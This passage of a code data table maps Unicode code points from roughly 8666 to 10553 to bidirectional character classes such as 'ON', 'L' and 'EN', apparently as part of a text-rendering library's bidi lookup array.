8666=>'ON', 8667=>'ON', 8668=>'ON', 8669=>'ON', 8670=>'ON', 8671=>'ON', 8672=>'ON', 8673=>'ON', 8674=>'ON', 8675=>'ON', 8676=>'ON', 8677=>'ON', 8678=>'ON', 8679=>'ON', 8680=>'ON', 8681=>'ON', 8682=>'ON', 8683=>'ON', 8684=>'ON', 8685=>'ON', 8686=>'ON', 8687=>'ON', 8688=>'ON', 8689=>'ON', 8690=>'ON', 8691=>'ON', 8692=>'ON', 8693=>'ON', 8694=>'ON', 8695=>'ON', 8696=>'ON', 8697=>'ON', 8698=>'ON', 8699=>'ON', 8700=>'ON', 8701=>'ON', 8702=>'ON', 8703=>'ON', 8704=>'ON', 8705=>'ON', 8706=>'ON', 8707=>'ON', 8708=>'ON', 8709=>'ON', 8710=>'ON', 8711=>'ON', 8712=>'ON', 8713=>'ON', 8714=>'ON', 8715=>'ON', 8716=>'ON', 8717=>'ON', 8718=>'ON', 8719=>'ON', 8720=>'ON', 8721=>'ON', 8722=>'ES', 8723=>'ET', 8724=>'ON', 8725=>'ON', 8726=>'ON', 8727=>'ON', 8728=>'ON', 8729=>'ON', 8730=>'ON', 8731=>'ON', 8732=>'ON', 8733=>'ON', 8734=>'ON', 8735=>'ON', 8736=>'ON', 8737=>'ON', 8738=>'ON', 8739=>'ON', 8740=>'ON', 8741=>'ON', 8742=>'ON', 8743=>'ON', 8744=>'ON', 8745=>'ON', 8746=>'ON', 8747=>'ON', 8748=>'ON', 8749=>'ON', 8750=>'ON', 8751=>'ON', 8752=>'ON', 8753=>'ON', 8754=>'ON', 8755=>'ON', 8756=>'ON', 8757=>'ON', 8758=>'ON', 8759=>'ON', 8760=>'ON', 8761=>'ON', 8762=>'ON', 8763=>'ON', 8764=>'ON', 8765=>'ON', 8766=>'ON', 8767=>'ON', 8768=>'ON', 8769=>'ON', 8770=>'ON', 8771=>'ON', 8772=>'ON', 8773=>'ON', 8774=>'ON', 8775=>'ON', 8776=>'ON', 8777=>'ON', 8778=>'ON', 8779=>'ON', 8780=>'ON', 8781=>'ON', 8782=>'ON', 8783=>'ON', 8784=>'ON', 8785=>'ON', 8786=>'ON', 8787=>'ON', 8788=>'ON', 8789=>'ON', 8790=>'ON', 8791=>'ON', 8792=>'ON', 8793=>'ON', 8794=>'ON', 8795=>'ON', 8796=>'ON', 8797=>'ON', 8798=>'ON', 8799=>'ON', 8800=>'ON', 8801=>'ON', 8802=>'ON', 8803=>'ON', 8804=>'ON', 8805=>'ON', 8806=>'ON', 8807=>'ON', 8808=>'ON', 8809=>'ON', 8810=>'ON', 8811=>'ON', 8812=>'ON', 8813=>'ON', 8814=>'ON', 8815=>'ON', 8816=>'ON', 8817=>'ON', 8818=>'ON', 8819=>'ON', 8820=>'ON', 8821=>'ON', 8822=>'ON', 8823=>'ON', 8824=>'ON', 8825=>'ON', 8826=>'ON', 8827=>'ON', 8828=>'ON', 8829=>'ON', 8830=>'ON', 8831=>'ON', 8832=>'ON', 8833=>'ON', 8834=>'ON', 8835=>'ON', 8836=>'ON', 8837=>'ON', 8838=>'ON', 8839=>'ON', 8840=>'ON', 8841=>'ON', 8842=>'ON', 8843=>'ON', 8844=>'ON', 8845=>'ON', 8846=>'ON', 8847=>'ON', 8848=>'ON', 8849=>'ON', 8850=>'ON', 8851=>'ON', 8852=>'ON', 8853=>'ON', 8854=>'ON', 8855=>'ON', 8856=>'ON', 8857=>'ON', 8858=>'ON', 8859=>'ON', 8860=>'ON', 8861=>'ON', 8862=>'ON', 8863=>'ON', 8864=>'ON', 8865=>'ON', 8866=>'ON', 8867=>'ON', 8868=>'ON', 8869=>'ON', 8870=>'ON', 8871=>'ON', 8872=>'ON', 8873=>'ON', 8874=>'ON', 8875=>'ON', 8876=>'ON', 8877=>'ON', 8878=>'ON', 8879=>'ON', 8880=>'ON', 8881=>'ON', 8882=>'ON', 8883=>'ON', 8884=>'ON', 8885=>'ON', 8886=>'ON', 8887=>'ON', 8888=>'ON', 8889=>'ON', 8890=>'ON', 8891=>'ON', 8892=>'ON', 8893=>'ON', 8894=>'ON', 8895=>'ON', 8896=>'ON', 8897=>'ON', 8898=>'ON', 8899=>'ON', 8900=>'ON', 8901=>'ON', 8902=>'ON', 8903=>'ON', 8904=>'ON', 8905=>'ON', 8906=>'ON', 8907=>'ON', 8908=>'ON', 8909=>'ON', 8910=>'ON', 8911=>'ON', 8912=>'ON', 8913=>'ON', 8914=>'ON', 8915=>'ON', 8916=>'ON', 8917=>'ON', 8918=>'ON', 8919=>'ON', 8920=>'ON', 8921=>'ON', 8922=>'ON', 8923=>'ON', 8924=>'ON', 8925=>'ON', 8926=>'ON', 8927=>'ON', 8928=>'ON', 8929=>'ON', 8930=>'ON', 8931=>'ON', 8932=>'ON', 8933=>'ON', 8934=>'ON', 8935=>'ON', 8936=>'ON', 8937=>'ON', 8938=>'ON', 8939=>'ON', 8940=>'ON', 8941=>'ON', 8942=>'ON', 8943=>'ON', 8944=>'ON', 8945=>'ON', 8946=>'ON', 8947=>'ON', 8948=>'ON', 8949=>'ON', 8950=>'ON', 8951=>'ON', 8952=>'ON', 8953=>'ON', 8954=>'ON', 8955=>'ON', 8956=>'ON', 8957=>'ON', 8958=>'ON', 8959=>'ON', 8960=>'ON', 8961=>'ON', 8962=>'ON', 8963=>'ON', 8964=>'ON', 8965=>'ON', 8966=>'ON', 8967=>'ON', 8968=>'ON', 8969=>'ON', 8970=>'ON', 8971=>'ON', 8972=>'ON', 8973=>'ON', 8974=>'ON', 8975=>'ON', 8976=>'ON', 8977=>'ON', 8978=>'ON', 8979=>'ON', 8980=>'ON', 8981=>'ON', 8982=>'ON', 8983=>'ON', 8984=>'ON', 8985=>'ON', 8986=>'ON', 8987=>'ON', 8988=>'ON', 8989=>'ON', 8990=>'ON', 8991=>'ON', 8992=>'ON', 8993=>'ON', 8994=>'ON', 8995=>'ON', 8996=>'ON', 8997=>'ON', 8998=>'ON', 8999=>'ON', 9000=>'ON', 9001=>'ON', 9002=>'ON', 9003=>'ON', 9004=>'ON', 9005=>'ON', 9006=>'ON', 9007=>'ON', 9008=>'ON', 9009=>'ON', 9010=>'ON', 9011=>'ON', 9012=>'ON', 9013=>'ON', 9014=>'L', 9015=>'L', 9016=>'L', 9017=>'L', 9018=>'L', 9019=>'L', 9020=>'L', 9021=>'L', 9022=>'L', 9023=>'L', 9024=>'L', 9025=>'L', 9026=>'L', 9027=>'L', 9028=>'L', 9029=>'L', 9030=>'L', 9031=>'L', 9032=>'L', 9033=>'L', 9034=>'L', 9035=>'L', 9036=>'L', 9037=>'L', 9038=>'L', 9039=>'L', 9040=>'L', 9041=>'L', 9042=>'L', 9043=>'L', 9044=>'L', 9045=>'L', 9046=>'L', 9047=>'L', 9048=>'L', 9049=>'L', 9050=>'L', 9051=>'L', 9052=>'L', 9053=>'L', 9054=>'L', 9055=>'L', 9056=>'L', 9057=>'L', 9058=>'L', 9059=>'L', 9060=>'L', 9061=>'L', 9062=>'L', 9063=>'L', 9064=>'L', 9065=>'L', 9066=>'L', 9067=>'L', 9068=>'L', 9069=>'L', 9070=>'L', 9071=>'L', 9072=>'L', 9073=>'L', 9074=>'L', 9075=>'L', 9076=>'L', 9077=>'L', 9078=>'L', 9079=>'L', 9080=>'L', 9081=>'L', 9082=>'L', 9083=>'ON', 9084=>'ON', 9085=>'ON', 9086=>'ON', 9087=>'ON', 9088=>'ON', 9089=>'ON', 9090=>'ON', 9091=>'ON', 9092=>'ON', 9093=>'ON', 9094=>'ON', 9095=>'ON', 9096=>'ON', 9097=>'ON', 9098=>'ON', 9099=>'ON', 9100=>'ON', 9101=>'ON', 9102=>'ON', 9103=>'ON', 9104=>'ON', 9105=>'ON', 9106=>'ON', 9107=>'ON', 9108=>'ON', 9109=>'L', 9110=>'ON', 9111=>'ON', 9112=>'ON', 9113=>'ON', 9114=>'ON', 9115=>'ON', 9116=>'ON', 9117=>'ON', 9118=>'ON', 9119=>'ON', 9120=>'ON', 9121=>'ON', 9122=>'ON', 9123=>'ON', 9124=>'ON', 9125=>'ON', 9126=>'ON', 9127=>'ON', 9128=>'ON', 9129=>'ON', 9130=>'ON', 9131=>'ON', 9132=>'ON', 9133=>'ON', 9134=>'ON', 9135=>'ON', 9136=>'ON', 9137=>'ON', 9138=>'ON', 9139=>'ON', 9140=>'ON', 9141=>'ON', 9142=>'ON', 9143=>'ON', 9144=>'ON', 9145=>'ON', 9146=>'ON', 9147=>'ON', 9148=>'ON', 9149=>'ON', 9150=>'ON', 9151=>'ON', 9152=>'ON', 9153=>'ON', 9154=>'ON', 9155=>'ON', 9156=>'ON', 9157=>'ON', 9158=>'ON', 9159=>'ON', 9160=>'ON', 9161=>'ON', 9162=>'ON', 9163=>'ON', 9164=>'ON', 9165=>'ON', 9166=>'ON', 9167=>'ON', 9168=>'ON', 9169=>'ON', 9170=>'ON', 9171=>'ON', 9172=>'ON', 9173=>'ON', 9174=>'ON', 9175=>'ON', 9176=>'ON', 9177=>'ON', 9178=>'ON', 9179=>'ON', 9180=>'ON', 9181=>'ON', 9182=>'ON', 9183=>'ON', 9184=>'ON', 9185=>'ON', 9186=>'ON', 9187=>'ON', 9188=>'ON', 9189=>'ON', 9190=>'ON', 9191=>'ON', 9216=>'ON', 9217=>'ON', 9218=>'ON', 9219=>'ON', 9220=>'ON', 9221=>'ON', 9222=>'ON', 9223=>'ON', 9224=>'ON', 9225=>'ON', 9226=>'ON', 9227=>'ON', 9228=>'ON', 9229=>'ON', 9230=>'ON', 9231=>'ON', 9232=>'ON', 9233=>'ON', 9234=>'ON', 9235=>'ON', 9236=>'ON', 9237=>'ON', 9238=>'ON', 9239=>'ON', 9240=>'ON', 9241=>'ON', 9242=>'ON', 9243=>'ON', 9244=>'ON', 9245=>'ON', 9246=>'ON', 9247=>'ON', 9248=>'ON', 9249=>'ON', 9250=>'ON', 9251=>'ON', 9252=>'ON', 9253=>'ON', 9254=>'ON', 9280=>'ON', 9281=>'ON', 9282=>'ON', 9283=>'ON', 9284=>'ON', 9285=>'ON', 9286=>'ON', 9287=>'ON', 9288=>'ON', 9289=>'ON', 9290=>'ON', 9312=>'ON', 9313=>'ON', 9314=>'ON', 9315=>'ON', 9316=>'ON', 9317=>'ON', 9318=>'ON', 9319=>'ON', 9320=>'ON', 9321=>'ON', 9322=>'ON', 9323=>'ON', 9324=>'ON', 9325=>'ON', 9326=>'ON', 9327=>'ON', 9328=>'ON', 9329=>'ON', 9330=>'ON', 9331=>'ON', 9332=>'ON', 9333=>'ON', 9334=>'ON', 9335=>'ON', 9336=>'ON', 9337=>'ON', 9338=>'ON', 9339=>'ON', 9340=>'ON', 9341=>'ON', 9342=>'ON', 9343=>'ON', 9344=>'ON', 9345=>'ON', 9346=>'ON', 9347=>'ON', 9348=>'ON', 9349=>'ON', 9350=>'ON', 9351=>'ON', 9352=>'EN', 9353=>'EN', 9354=>'EN', 9355=>'EN', 9356=>'EN', 9357=>'EN', 9358=>'EN', 9359=>'EN', 9360=>'EN', 9361=>'EN', 9362=>'EN', 9363=>'EN', 9364=>'EN', 9365=>'EN', 9366=>'EN', 9367=>'EN', 9368=>'EN', 9369=>'EN', 9370=>'EN', 9371=>'EN', 9372=>'L', 9373=>'L', 9374=>'L', 9375=>'L', 9376=>'L', 9377=>'L', 9378=>'L', 9379=>'L', 9380=>'L', 9381=>'L', 9382=>'L', 9383=>'L', 9384=>'L', 9385=>'L', 9386=>'L', 9387=>'L', 9388=>'L', 9389=>'L', 9390=>'L', 9391=>'L', 9392=>'L', 9393=>'L', 9394=>'L', 9395=>'L', 9396=>'L', 9397=>'L', 9398=>'L', 9399=>'L', 9400=>'L', 9401=>'L', 9402=>'L', 9403=>'L', 9404=>'L', 9405=>'L', 9406=>'L', 9407=>'L', 9408=>'L', 9409=>'L', 9410=>'L', 9411=>'L', 9412=>'L', 9413=>'L', 9414=>'L', 9415=>'L', 9416=>'L', 9417=>'L', 9418=>'L', 9419=>'L', 9420=>'L', 9421=>'L', 9422=>'L', 9423=>'L', 9424=>'L', 9425=>'L', 9426=>'L', 9427=>'L', 9428=>'L', 9429=>'L', 9430=>'L', 9431=>'L', 9432=>'L', 9433=>'L', 9434=>'L', 9435=>'L', 9436=>'L', 9437=>'L', 9438=>'L', 9439=>'L', 9440=>'L', 9441=>'L', 9442=>'L', 9443=>'L', 9444=>'L', 9445=>'L', 9446=>'L', 9447=>'L', 9448=>'L', 9449=>'L', 9450=>'ON', 9451=>'ON', 9452=>'ON', 9453=>'ON', 9454=>'ON', 9455=>'ON', 9456=>'ON', 9457=>'ON', 9458=>'ON', 9459=>'ON', 9460=>'ON', 9461=>'ON', 9462=>'ON', 9463=>'ON', 9464=>'ON', 9465=>'ON', 9466=>'ON', 9467=>'ON', 9468=>'ON', 9469=>'ON', 9470=>'ON', 9471=>'ON', 9472=>'ON', 9473=>'ON', 9474=>'ON', 9475=>'ON', 9476=>'ON', 9477=>'ON', 9478=>'ON', 9479=>'ON', 9480=>'ON', 9481=>'ON', 9482=>'ON', 9483=>'ON', 9484=>'ON', 9485=>'ON', 9486=>'ON', 9487=>'ON', 9488=>'ON', 9489=>'ON', 9490=>'ON', 9491=>'ON', 9492=>'ON', 9493=>'ON', 9494=>'ON', 9495=>'ON', 9496=>'ON', 9497=>'ON', 9498=>'ON', 9499=>'ON', 9500=>'ON', 9501=>'ON', 9502=>'ON', 9503=>'ON', 9504=>'ON', 9505=>'ON', 9506=>'ON', 9507=>'ON', 9508=>'ON', 9509=>'ON', 9510=>'ON', 9511=>'ON', 9512=>'ON', 9513=>'ON', 9514=>'ON', 9515=>'ON', 9516=>'ON', 9517=>'ON', 9518=>'ON', 9519=>'ON', 9520=>'ON', 9521=>'ON', 9522=>'ON', 9523=>'ON', 9524=>'ON', 9525=>'ON', 9526=>'ON', 9527=>'ON', 9528=>'ON', 9529=>'ON', 9530=>'ON', 9531=>'ON', 9532=>'ON', 9533=>'ON', 9534=>'ON', 9535=>'ON', 9536=>'ON', 9537=>'ON', 9538=>'ON', 9539=>'ON', 9540=>'ON', 9541=>'ON', 9542=>'ON', 9543=>'ON', 9544=>'ON', 9545=>'ON', 9546=>'ON', 9547=>'ON', 9548=>'ON', 9549=>'ON', 9550=>'ON', 9551=>'ON', 9552=>'ON', 9553=>'ON', 9554=>'ON', 9555=>'ON', 9556=>'ON', 9557=>'ON', 9558=>'ON', 9559=>'ON', 9560=>'ON', 9561=>'ON', 9562=>'ON', 9563=>'ON', 9564=>'ON', 9565=>'ON', 9566=>'ON', 9567=>'ON', 9568=>'ON', 9569=>'ON', 9570=>'ON', 9571=>'ON', 9572=>'ON', 9573=>'ON', 9574=>'ON', 9575=>'ON', 9576=>'ON', 9577=>'ON', 9578=>'ON', 9579=>'ON', 9580=>'ON', 9581=>'ON', 9582=>'ON', 9583=>'ON', 9584=>'ON', 9585=>'ON', 9586=>'ON', 9587=>'ON', 9588=>'ON', 9589=>'ON', 9590=>'ON', 9591=>'ON', 9592=>'ON', 9593=>'ON', 9594=>'ON', 9595=>'ON', 9596=>'ON', 9597=>'ON', 9598=>'ON', 9599=>'ON', 9600=>'ON', 9601=>'ON', 9602=>'ON', 9603=>'ON', 9604=>'ON', 9605=>'ON', 9606=>'ON', 9607=>'ON', 9608=>'ON', 9609=>'ON', 9610=>'ON', 9611=>'ON', 9612=>'ON', 9613=>'ON', 9614=>'ON', 9615=>'ON', 9616=>'ON', 9617=>'ON', 9618=>'ON', 9619=>'ON', 9620=>'ON', 9621=>'ON', 9622=>'ON', 9623=>'ON', 9624=>'ON', 9625=>'ON', 9626=>'ON', 9627=>'ON', 9628=>'ON', 9629=>'ON', 9630=>'ON', 9631=>'ON', 9632=>'ON', 9633=>'ON', 9634=>'ON', 9635=>'ON', 9636=>'ON', 9637=>'ON', 9638=>'ON', 9639=>'ON', 9640=>'ON', 9641=>'ON', 9642=>'ON', 9643=>'ON', 9644=>'ON', 9645=>'ON', 9646=>'ON', 9647=>'ON', 9648=>'ON', 9649=>'ON', 9650=>'ON', 9651=>'ON', 9652=>'ON', 9653=>'ON', 9654=>'ON', 9655=>'ON', 9656=>'ON', 9657=>'ON', 9658=>'ON', 9659=>'ON', 9660=>'ON', 9661=>'ON', 9662=>'ON', 9663=>'ON', 9664=>'ON', 9665=>'ON', 9666=>'ON', 9667=>'ON', 9668=>'ON', 9669=>'ON', 9670=>'ON', 9671=>'ON', 9672=>'ON', 9673=>'ON', 9674=>'ON', 9675=>'ON', 9676=>'ON', 9677=>'ON', 9678=>'ON', 9679=>'ON', 9680=>'ON', 9681=>'ON', 9682=>'ON', 9683=>'ON', 9684=>'ON', 9685=>'ON', 9686=>'ON', 9687=>'ON', 9688=>'ON', 9689=>'ON', 9690=>'ON', 9691=>'ON', 9692=>'ON', 9693=>'ON', 9694=>'ON', 9695=>'ON', 9696=>'ON', 9697=>'ON', 9698=>'ON', 9699=>'ON', 9700=>'ON', 9701=>'ON', 9702=>'ON', 9703=>'ON', 9704=>'ON', 9705=>'ON', 9706=>'ON', 9707=>'ON', 9708=>'ON', 9709=>'ON', 9710=>'ON', 9711=>'ON', 9712=>'ON', 9713=>'ON', 9714=>'ON', 9715=>'ON', 9716=>'ON', 9717=>'ON', 9718=>'ON', 9719=>'ON', 9720=>'ON', 9721=>'ON', 9722=>'ON', 9723=>'ON', 9724=>'ON', 9725=>'ON', 9726=>'ON', 9727=>'ON', 9728=>'ON', 9729=>'ON', 9730=>'ON', 9731=>'ON', 9732=>'ON', 9733=>'ON', 9734=>'ON', 9735=>'ON', 9736=>'ON', 9737=>'ON', 9738=>'ON', 9739=>'ON', 9740=>'ON', 9741=>'ON', 9742=>'ON', 9743=>'ON', 9744=>'ON', 9745=>'ON', 9746=>'ON', 9747=>'ON', 9748=>'ON', 9749=>'ON', 9750=>'ON', 9751=>'ON', 9752=>'ON', 9753=>'ON', 9754=>'ON', 9755=>'ON', 9756=>'ON', 9757=>'ON', 9758=>'ON', 9759=>'ON', 9760=>'ON', 9761=>'ON', 9762=>'ON', 9763=>'ON', 9764=>'ON', 9765=>'ON', 9766=>'ON', 9767=>'ON', 9768=>'ON', 9769=>'ON', 9770=>'ON', 9771=>'ON', 9772=>'ON', 9773=>'ON', 9774=>'ON', 9775=>'ON', 9776=>'ON', 9777=>'ON', 9778=>'ON', 9779=>'ON', 9780=>'ON', 9781=>'ON', 9782=>'ON', 9783=>'ON', 9784=>'ON', 9785=>'ON', 9786=>'ON', 9787=>'ON', 9788=>'ON', 9789=>'ON', 9790=>'ON', 9791=>'ON', 9792=>'ON', 9793=>'ON', 9794=>'ON', 9795=>'ON', 9796=>'ON', 9797=>'ON', 9798=>'ON', 9799=>'ON', 9800=>'ON', 9801=>'ON', 9802=>'ON', 9803=>'ON', 9804=>'ON', 9805=>'ON', 9806=>'ON', 9807=>'ON', 9808=>'ON', 9809=>'ON', 9810=>'ON', 9811=>'ON', 9812=>'ON', 9813=>'ON', 9814=>'ON', 9815=>'ON', 9816=>'ON', 9817=>'ON', 9818=>'ON', 9819=>'ON', 9820=>'ON', 9821=>'ON', 9822=>'ON', 9823=>'ON', 9824=>'ON', 9825=>'ON', 9826=>'ON', 9827=>'ON', 9828=>'ON', 9829=>'ON', 9830=>'ON', 9831=>'ON', 9832=>'ON', 9833=>'ON', 9834=>'ON', 9835=>'ON', 9836=>'ON', 9837=>'ON', 9838=>'ON', 9839=>'ON', 9840=>'ON', 9841=>'ON', 9842=>'ON', 9843=>'ON', 9844=>'ON', 9845=>'ON', 9846=>'ON', 9847=>'ON', 9848=>'ON', 9849=>'ON', 9850=>'ON', 9851=>'ON', 9852=>'ON', 9853=>'ON', 9854=>'ON', 9855=>'ON', 9856=>'ON', 9857=>'ON', 9858=>'ON', 9859=>'ON', 9860=>'ON', 9861=>'ON', 9862=>'ON', 9863=>'ON', 9864=>'ON', 9865=>'ON', 9866=>'ON', 9867=>'ON', 9868=>'ON', 9869=>'ON', 9870=>'ON', 9871=>'ON', 9872=>'ON', 9873=>'ON', 9874=>'ON', 9875=>'ON', 9876=>'ON', 9877=>'ON', 9878=>'ON', 9879=>'ON', 9880=>'ON', 9881=>'ON', 9882=>'ON', 9883=>'ON', 9884=>'ON', 9888=>'ON', 9889=>'ON', 9890=>'ON', 9891=>'ON', 9892=>'ON', 9893=>'ON', 9894=>'ON', 9895=>'ON', 9896=>'ON', 9897=>'ON', 9898=>'ON', 9899=>'ON', 9900=>'L', 9901=>'ON', 9902=>'ON', 9903=>'ON', 9904=>'ON', 9905=>'ON', 9906=>'ON', 9985=>'ON', 9986=>'ON', 9987=>'ON', 9988=>'ON', 9990=>'ON', 9991=>'ON', 9992=>'ON', 9993=>'ON', 9996=>'ON', 9997=>'ON', 9998=>'ON', 9999=>'ON', 10000=>'ON', 10001=>'ON', 10002=>'ON', 10003=>'ON', 10004=>'ON', 10005=>'ON', 10006=>'ON', 10007=>'ON', 10008=>'ON', 10009=>'ON', 10010=>'ON', 10011=>'ON', 10012=>'ON', 10013=>'ON', 10014=>'ON', 10015=>'ON', 10016=>'ON', 10017=>'ON', 10018=>'ON', 10019=>'ON', 10020=>'ON', 10021=>'ON', 10022=>'ON', 10023=>'ON', 10025=>'ON', 10026=>'ON', 10027=>'ON', 10028=>'ON', 10029=>'ON', 10030=>'ON', 10031=>'ON', 10032=>'ON', 10033=>'ON', 10034=>'ON', 10035=>'ON', 10036=>'ON', 10037=>'ON', 10038=>'ON', 10039=>'ON', 10040=>'ON', 10041=>'ON', 10042=>'ON', 10043=>'ON', 10044=>'ON', 10045=>'ON', 10046=>'ON', 10047=>'ON', 10048=>'ON', 10049=>'ON', 10050=>'ON', 10051=>'ON', 10052=>'ON', 10053=>'ON', 10054=>'ON', 10055=>'ON', 10056=>'ON', 10057=>'ON', 10058=>'ON', 10059=>'ON', 10061=>'ON', 10063=>'ON', 10064=>'ON', 10065=>'ON', 10066=>'ON', 10070=>'ON', 10072=>'ON', 10073=>'ON', 10074=>'ON', 10075=>'ON', 10076=>'ON', 10077=>'ON', 10078=>'ON', 10081=>'ON', 10082=>'ON', 10083=>'ON', 10084=>'ON', 10085=>'ON', 10086=>'ON', 10087=>'ON', 10088=>'ON', 10089=>'ON', 10090=>'ON', 10091=>'ON', 10092=>'ON', 10093=>'ON', 10094=>'ON', 10095=>'ON', 10096=>'ON', 10097=>'ON', 10098=>'ON', 10099=>'ON', 10100=>'ON', 10101=>'ON', 10102=>'ON', 10103=>'ON', 10104=>'ON', 10105=>'ON', 10106=>'ON', 10107=>'ON', 10108=>'ON', 10109=>'ON', 10110=>'ON', 10111=>'ON', 10112=>'ON', 10113=>'ON', 10114=>'ON', 10115=>'ON', 10116=>'ON', 10117=>'ON', 10118=>'ON', 10119=>'ON', 10120=>'ON', 10121=>'ON', 10122=>'ON', 10123=>'ON', 10124=>'ON', 10125=>'ON', 10126=>'ON', 10127=>'ON', 10128=>'ON', 10129=>'ON', 10130=>'ON', 10131=>'ON', 10132=>'ON', 10136=>'ON', 10137=>'ON', 10138=>'ON', 10139=>'ON', 10140=>'ON', 10141=>'ON', 10142=>'ON', 10143=>'ON', 10144=>'ON', 10145=>'ON', 10146=>'ON', 10147=>'ON', 10148=>'ON', 10149=>'ON', 10150=>'ON', 10151=>'ON', 10152=>'ON', 10153=>'ON', 10154=>'ON', 10155=>'ON', 10156=>'ON', 10157=>'ON', 10158=>'ON', 10159=>'ON', 10161=>'ON', 10162=>'ON', 10163=>'ON', 10164=>'ON', 10165=>'ON', 10166=>'ON', 10167=>'ON', 10168=>'ON', 10169=>'ON', 10170=>'ON', 10171=>'ON', 10172=>'ON', 10173=>'ON', 10174=>'ON', 10176=>'ON', 10177=>'ON', 10178=>'ON', 10179=>'ON', 10180=>'ON', 10181=>'ON', 10182=>'ON', 10183=>'ON', 10184=>'ON', 10185=>'ON', 10186=>'ON', 10192=>'ON', 10193=>'ON', 10194=>'ON', 10195=>'ON', 10196=>'ON', 10197=>'ON', 10198=>'ON', 10199=>'ON', 10200=>'ON', 10201=>'ON', 10202=>'ON', 10203=>'ON', 10204=>'ON', 10205=>'ON', 10206=>'ON', 10207=>'ON', 10208=>'ON', 10209=>'ON', 10210=>'ON', 10211=>'ON', 10212=>'ON', 10213=>'ON', 10214=>'ON', 10215=>'ON', 10216=>'ON', 10217=>'ON', 10218=>'ON', 10219=>'ON', 10224=>'ON', 10225=>'ON', 10226=>'ON', 10227=>'ON', 10228=>'ON', 10229=>'ON', 10230=>'ON', 10231=>'ON', 10232=>'ON', 10233=>'ON', 10234=>'ON', 10235=>'ON', 10236=>'ON', 10237=>'ON', 10238=>'ON', 10239=>'ON', 10240=>'L', 10241=>'L', 10242=>'L', 10243=>'L', 10244=>'L', 10245=>'L', 10246=>'L', 10247=>'L', 10248=>'L', 10249=>'L', 10250=>'L', 10251=>'L', 10252=>'L', 10253=>'L', 10254=>'L', 10255=>'L', 10256=>'L', 10257=>'L', 10258=>'L', 10259=>'L', 10260=>'L', 10261=>'L', 10262=>'L', 10263=>'L', 10264=>'L', 10265=>'L', 10266=>'L', 10267=>'L', 10268=>'L', 10269=>'L', 10270=>'L', 10271=>'L', 10272=>'L', 10273=>'L', 10274=>'L', 10275=>'L', 10276=>'L', 10277=>'L', 10278=>'L', 10279=>'L', 10280=>'L', 10281=>'L', 10282=>'L', 10283=>'L', 10284=>'L', 10285=>'L', 10286=>'L', 10287=>'L', 10288=>'L', 10289=>'L', 10290=>'L', 10291=>'L', 10292=>'L', 10293=>'L', 10294=>'L', 10295=>'L', 10296=>'L', 10297=>'L', 10298=>'L', 10299=>'L', 10300=>'L', 10301=>'L', 10302=>'L', 10303=>'L', 10304=>'L', 10305=>'L', 10306=>'L', 10307=>'L', 10308=>'L', 10309=>'L', 10310=>'L', 10311=>'L', 10312=>'L', 10313=>'L', 10314=>'L', 10315=>'L', 10316=>'L', 10317=>'L', 10318=>'L', 10319=>'L', 10320=>'L', 10321=>'L', 10322=>'L', 10323=>'L', 10324=>'L', 10325=>'L', 10326=>'L', 10327=>'L', 10328=>'L', 10329=>'L', 10330=>'L', 10331=>'L', 10332=>'L', 10333=>'L', 10334=>'L', 10335=>'L', 10336=>'L', 10337=>'L', 10338=>'L', 10339=>'L', 10340=>'L', 10341=>'L', 10342=>'L', 10343=>'L', 10344=>'L', 10345=>'L', 10346=>'L', 10347=>'L', 10348=>'L', 10349=>'L', 10350=>'L', 10351=>'L', 10352=>'L', 10353=>'L', 10354=>'L', 10355=>'L', 10356=>'L', 10357=>'L', 10358=>'L', 10359=>'L', 10360=>'L', 10361=>'L', 10362=>'L', 10363=>'L', 10364=>'L', 10365=>'L', 10366=>'L', 10367=>'L', 10368=>'L', 10369=>'L', 10370=>'L', 10371=>'L', 10372=>'L', 10373=>'L', 10374=>'L', 10375=>'L', 10376=>'L', 10377=>'L', 10378=>'L', 10379=>'L', 10380=>'L', 10381=>'L', 10382=>'L', 10383=>'L', 10384=>'L', 10385=>'L', 10386=>'L', 10387=>'L', 10388=>'L', 10389=>'L', 10390=>'L', 10391=>'L', 10392=>'L', 10393=>'L', 10394=>'L', 10395=>'L', 10396=>'L', 10397=>'L', 10398=>'L', 10399=>'L', 10400=>'L', 10401=>'L', 10402=>'L', 10403=>'L', 10404=>'L', 10405=>'L', 10406=>'L', 10407=>'L', 10408=>'L', 10409=>'L', 10410=>'L', 10411=>'L', 10412=>'L', 10413=>'L', 10414=>'L', 10415=>'L', 10416=>'L', 10417=>'L', 10418=>'L', 10419=>'L', 10420=>'L', 10421=>'L', 10422=>'L', 10423=>'L', 10424=>'L', 10425=>'L', 10426=>'L', 10427=>'L', 10428=>'L', 10429=>'L', 10430=>'L', 10431=>'L', 10432=>'L', 10433=>'L', 10434=>'L', 10435=>'L', 10436=>'L', 10437=>'L', 10438=>'L', 10439=>'L', 10440=>'L', 10441=>'L', 10442=>'L', 10443=>'L', 10444=>'L', 10445=>'L', 10446=>'L', 10447=>'L', 10448=>'L', 10449=>'L', 10450=>'L', 10451=>'L', 10452=>'L', 10453=>'L', 10454=>'L', 10455=>'L', 10456=>'L', 10457=>'L', 10458=>'L', 10459=>'L', 10460=>'L', 10461=>'L', 10462=>'L', 10463=>'L', 10464=>'L', 10465=>'L', 10466=>'L', 10467=>'L', 10468=>'L', 10469=>'L', 10470=>'L', 10471=>'L', 10472=>'L', 10473=>'L', 10474=>'L', 10475=>'L', 10476=>'L', 10477=>'L', 10478=>'L', 10479=>'L', 10480=>'L', 10481=>'L', 10482=>'L', 10483=>'L', 10484=>'L', 10485=>'L', 10486=>'L', 10487=>'L', 10488=>'L', 10489=>'L', 10490=>'L', 10491=>'L', 10492=>'L', 10493=>'L', 10494=>'L', 10495=>'L', 10496=>'ON', 10497=>'ON', 10498=>'ON', 10499=>'ON', 10500=>'ON', 10501=>'ON', 10502=>'ON', 10503=>'ON', 10504=>'ON', 10505=>'ON', 10506=>'ON', 10507=>'ON', 10508=>'ON', 10509=>'ON', 10510=>'ON', 10511=>'ON', 10512=>'ON', 10513=>'ON', 10514=>'ON', 10515=>'ON', 10516=>'ON', 10517=>'ON', 10518=>'ON', 10519=>'ON', 10520=>'ON', 10521=>'ON', 10522=>'ON', 10523=>'ON', 10524=>'ON', 10525=>'ON', 10526=>'ON', 10527=>'ON', 10528=>'ON', 10529=>'ON', 10530=>'ON', 10531=>'ON', 10532=>'ON', 10533=>'ON', 10534=>'ON', 10535=>'ON', 10536=>'ON', 10537=>'ON', 10538=>'ON', 10539=>'ON', 10540=>'ON', 10541=>'ON', 10542=>'ON', 10543=>'ON', 10544=>'ON', 10545=>'ON', 10546=>'ON', 10547=>'ON', 10548=>'ON', 10549=>'ON', 10550=>'ON', 10551=>'ON', 10552=>'ON', 10553=>'ON', 